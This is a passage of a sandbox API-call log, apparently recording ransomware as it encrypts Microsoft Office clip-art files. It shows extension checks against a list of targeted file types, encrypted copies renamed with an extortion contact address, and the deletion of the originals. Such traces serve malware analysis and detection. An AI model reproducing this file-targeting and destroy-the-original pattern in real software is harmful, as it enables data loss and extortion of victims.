(lpString1=".ppt", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString=".zip") returned 4 [0249.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.716] lstrlenW (lpString=".rar") returned 4 [0249.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".bz2") returned 4 [0249.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".7z") returned 3 [0249.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.717] lstrlenW (lpString=".dbf") returned 4 [0249.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.717] lstrlenW (lpString=".1cd") returned 4 [0249.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.717] lstrlenW (lpString=".jpg") returned 4 [0249.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.717] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.717] lstrlenW (lpString="FD00419_.WMF") returned 12 [0249.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.721] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16396) returned 1 [0249.721] CloseHandle (hObject=0x204) returned 1 [0249.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0249.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.722] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.722] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.723] GetLastError () returned 0x0 [0249.723] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x400c, lpOverlapped=0x0) returned 1 [0249.729] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4010, lpOverlapped=0x0) returned 1 [0249.731] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.731] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.731] SetEndOfFile (hFile=0x3b0) returned 1 [0249.731] CloseHandle (hObject=0x3b0) returned 1 [0249.733] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.733] SetEndOfFile (hFile=0x204) returned 1 [0249.735] CloseHandle (hObject=0x204) returned 1 [0249.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString=".doc") returned 4 [0249.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString=".docx") returned 5 [0249.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.736] lstrlenW (lpString=".pdf") returned 4 [0249.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString=".xls") returned 4 [0249.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.736] lstrlenW (lpString=".xlsx") returned 5 [0249.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.736] lstrlenW (lpString=".ppt") returned 4 [0249.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString=".zip") returned 4 [0249.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.736] lstrlenW (lpString=".rar") returned 4 [0249.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString=".bz2") returned 4 [0249.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString=".7z") returned 3 [0249.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString=".dbf") returned 4 [0249.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString=".1cd") returned 4 [0249.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.736] lstrlenW (lpString=".jpg") returned 4 [0249.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString=".doc") returned 4 [0249.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString=".docx") returned 5 [0249.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.737] lstrlenW (lpString=".pdf") returned 4 [0249.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString=".xls") returned 4 [0249.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.737] lstrlenW (lpString=".xlsx") returned 5 [0249.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.737] lstrlenW (lpString=".ppt") returned 4 [0249.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString=".zip") returned 4 [0249.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.737] lstrlenW (lpString=".rar") returned 4 [0249.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString=".bz2") returned 4 [0249.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString=".7z") returned 3 [0249.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString=".dbf") returned 4 [0249.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString=".1cd") returned 4 [0249.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0249.737] lstrlenW (lpString=".jpg") returned 4 [0249.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.738] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.738] lstrlenW (lpString="FD00435_.WMF") returned 12 [0249.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.739] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2108) returned 1 [0249.739] CloseHandle (hObject=0x204) returned 1 [0249.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0249.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.739] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.739] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.740] GetLastError () returned 0x0 [0249.740] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x83c, lpOverlapped=0x0) returned 1 [0249.741] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x840, lpOverlapped=0x0) returned 1 [0249.742] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.742] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.742] SetEndOfFile (hFile=0x3b0) returned 1 [0249.742] CloseHandle (hObject=0x3b0) returned 1 [0249.742] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.742] SetEndOfFile (hFile=0x204) returned 1 [0249.744] CloseHandle (hObject=0x204) returned 1 [0249.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0249.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.745] lstrlenW (lpString=".doc") returned 4 [0249.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.745] lstrlenW (lpString=".docx") returned 5 [0249.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.745] lstrlenW (lpString=".pdf") returned 4 [0249.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.745] lstrlenW (lpString=".xls") returned 4 [0249.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.745] lstrlenW (lpString=".xlsx") returned 5 [0249.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.745] lstrlenW (lpString=".ppt") returned 4 [0249.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.804] lstrlenW (lpString=".zip") returned 4 [0249.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.804] lstrlenW (lpString=".rar") returned 4 [0249.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.804] lstrlenW (lpString=".bz2") returned 4 [0249.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.804] lstrlenW (lpString=".7z") returned 3 [0249.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.804] lstrlenW (lpString=".dbf") returned 4 [0249.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.804] lstrlenW (lpString=".1cd") returned 4 [0249.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".jpg") returned 4 [0249.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".doc") returned 4 [0249.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString=".docx") returned 5 [0249.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.805] lstrlenW (lpString=".pdf") returned 4 [0249.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString=".xls") returned 4 [0249.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.805] lstrlenW (lpString=".xlsx") returned 5 [0249.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.805] lstrlenW (lpString=".ppt") returned 4 [0249.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".zip") returned 4 [0249.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.805] lstrlenW (lpString=".rar") returned 4 [0249.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString=".bz2") returned 4 [0249.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString=".7z") returned 3 [0249.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".dbf") returned 4 [0249.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".1cd") returned 4 [0249.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0249.805] lstrlenW (lpString=".jpg") returned 4 [0249.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.806] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.806] lstrlenW (lpString="FD00543_.WMF") returned 12 [0249.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.874] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1472) returned 1 [0249.874] CloseHandle (hObject=0x324) returned 1 [0249.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0249.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.063] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.063] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.065] GetLastError () returned 0x0 [0250.065] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5c0, lpOverlapped=0x0) returned 1 [0250.116] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0250.117] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.117] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.117] SetEndOfFile (hFile=0x1fc) returned 1 [0250.117] CloseHandle (hObject=0x1fc) returned 1 [0250.117] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.117] SetEndOfFile (hFile=0x324) returned 1 [0250.119] CloseHandle (hObject=0x324) returned 1 [0250.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0250.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.120] lstrlenW (lpString=".doc") returned 4 [0250.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.120] lstrlenW (lpString=".docx") returned 5 [0250.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.120] lstrlenW (lpString=".pdf") returned 4 [0250.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.120] lstrlenW (lpString=".xls") returned 4 [0250.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.120] lstrlenW (lpString=".xlsx") returned 5 [0250.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.120] lstrlenW (lpString=".ppt") returned 4 [0250.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.120] lstrlenW (lpString=".zip") returned 4 [0250.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.120] lstrlenW (lpString=".rar") returned 4 [0250.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.120] lstrlenW (lpString=".bz2") returned 4 [0250.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString=".7z") returned 3 [0250.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".dbf") returned 4 [0250.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".1cd") returned 4 [0250.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".jpg") returned 4 [0250.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".doc") returned 4 [0250.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString=".docx") returned 5 [0250.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.121] lstrlenW (lpString=".pdf") returned 4 [0250.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString=".xls") returned 4 [0250.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.121] lstrlenW (lpString=".xlsx") returned 5 [0250.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.121] lstrlenW (lpString=".ppt") returned 4 [0250.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".zip") returned 4 [0250.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.121] lstrlenW (lpString=".rar") returned 4 [0250.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString=".bz2") returned 4 [0250.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString=".7z") returned 3 [0250.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.121] lstrlenW (lpString=".dbf") returned 4 [0250.121] lstrcmpiW (lpString1=".dbf", 